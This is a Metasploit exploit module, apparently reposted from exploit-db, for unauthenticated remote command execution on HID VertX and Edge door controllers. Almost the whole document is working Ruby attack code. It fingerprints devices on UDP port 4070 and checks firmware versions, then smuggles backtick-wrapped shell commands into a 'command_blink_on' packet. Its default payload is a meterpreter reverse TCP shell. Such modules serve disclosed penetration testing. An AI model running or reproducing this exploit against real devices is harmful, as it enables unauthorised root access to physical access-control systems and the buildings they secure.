HID discoveryd – ‘command_blink_on’ Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2018-07-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44992/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::CmdStager
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'HID discoveryd command_blink_on Unauthenticated RCE',
    'Description' => %q{
    This module exploits an unauthenticated remote command execution
    vulnerability in the discoveryd service exposed by HID VertX and Edge
    door controllers.
    
    This module was tested successfully on a HID Edge model EH400
    with firmware version 2.3.1.603 (Build 04/23/2012).
    },
    'Author'=>
    [
    'Ricky "HeadlessZeke" Lawshae', # Discovery
    'coldfusion39', # VertXploit
    'Brendan Coles' # Metasploit
    ],
    'License' => MSF_LICENSE,
    'Platform'=> 'linux',
    'Arch'=> ARCH_ARMLE,
    'Privileged'=> true,
    'References'=>
    [
    ['ZDI', '16-223'],
    ['URL', 'https://blog.trendmicro.com/let-get-door-remote-root-vulnerability-hid-door-controllers/'],
    ['URL', 'http://nosedookie.blogspot.com/2011/07/identifying-and-querying-hid-vertx.html'],
    ['URL', 'https://exfil.co/2016/05/09/exploring-the-hid-eh400/'],
    ['URL', 'https://github.com/lixmk/Concierge'],
    ['URL', 'https://github.com/coldfusion39/VertXploit']
    ],
    'DisclosureDate'=> 'Mar 28 2016',
    'DefaultOptions'=>
    {
    'WfsDelay'=> 30,
    'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
    'CMDSTAGER::FLAVOR' => 'echo'
    },
    'Targets' => [['Automatic', {}]],
    'CmdStagerFlavor' => 'echo', # wget is available, however the wget command is too long
    'DefaultTarget' => 0))
    register_options [ Opt::RPORT(4070) ]
    end
    
    def check
    connect_udp
    udp_sock.put 'discover;013;'
    res = udp_sock.get(5)
    disconnect_udp
    
    if res.to_s.eql? ''
    vprint_error 'Connection failed'
    return CheckCode::Unknown
    end
    
    hid_res = parse_discovered_response res
    if hid_res[:mac].eql? ''
    vprint_error 'Malformed response'
    return CheckCode::Safe
    end
    
    @mac = hid_res[:mac]
    
    vprint_good "#{rhost}:#{rport} - HID discoveryd service detected"
    vprint_line hid_res.to_s
    report_service(
    host: rhost,
    mac: hid_res[:mac],
    port: rport,
    proto: 'udp',
    name: 'hid-discoveryd',
    info: hid_res
    )
    
    if hid_res[:version].to_s.eql? ''
    vprint_error "#{rhost}:#{rport} - Could not determine device version"
    return CheckCode::Detected
    end
    
    # Vulnerable version mappings from VertXploit
    vuln = false
    version = Gem::Version.new(hid_res[:version].to_s)
    case hid_res[:model]
    when 'E400' # EDGEPlus
    vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'EH400'# EDGE EVO
    vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'EHS400' # EDGE EVO Solo
    vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'ES400'# EDGEPlus Solo
    vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'V2-V1000' # VertX EVO
    vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'V2-V2000' # VertX EVO
    vuln = true if version <= Gem::Version.new('3.5.1.1483')
    when 'V1000'# VertX Legacy
    vuln = true if version <= Gem::Version.new('2.2.7.568')
    when 'V2000'# VertX Legacy
    vuln = true if version <= Gem::Version.new('2.2.7.568')
    else
    vprint_error "#{rhost}:#{rport} - Device model was not recognized"
    return CheckCode::Detected
    end
    
    vuln ? CheckCode::Appears : CheckCode::Safe
    end
    
    def send_command(cmd)
    connect_udp
    
    # double escaping for echo -ne stager
    encoded_cmd = cmd.gsub("\\", "\\\\\\")
    
    # packet length (max 44)
    len = '044'
    
    # <num> of times to blink LED, if the device has a LED; else
    # <num> second to beep (very loudly) if the device does not have a LED
    num = -1 # no beep/blink ;)
    
    # construct packet
    req = ''
    req << 'command_blink_on;'
    req << "#{len};"
    req << "#{@mac};"
    req << "#{num}`#{encoded_cmd}`;"
    
    # send packet
    udp_sock.put req
    res = udp_sock.get(5)
    disconnect_udp
    
    unless res.to_s.start_with? 'ack;'
    fail_with Failure::UnexpectedReply, 'Malformed response'
    end
    end
    
    def execute_command(cmd, opts)
    # the protocol uses ';' as a separator,
    # so we issue each system command separately.
    # we're using the echo command stager which hex encodes the payload,
    # so there's no risk of replacing any ';' characters in the payload data.
    cmd.split(';').each do |c|
    send_command c
    end
    end
    
    def exploit
    print_status "#{rhost}:#{rport} - Connecting to target"
    
    check_code = check
    unless check_code == CheckCode::Appears || check_code == CheckCode::Detected
    fail_with Failure::Unknown, "#{rhost}:#{rport} - Target is not vulnerable"
    end
    
    # linemax is closer to 40,
    # however we need to account for additinal double escaping
    execute_cmdstager linemax: 30, :temp => '/tmp'
    end
    
    def parse_discovered_response(res)
    info = {}
    
    return unless res.start_with? 'discovered'
    
    hid_res = res.split(';')
    return unless hid_res.size == 9
    return unless hid_res[0] == 'discovered'
    return unless hid_res[1].to_i == res.length
    
    {
    :mac=> hid_res[2],
    :name => hid_res[3],
    :ip => hid_res[4],
    # ? => hid_res[5], # '1'
    :model=> hid_res[6],
    :version=> hid_res[7],
    :version_date => hid_res[8]
    }
    end
    end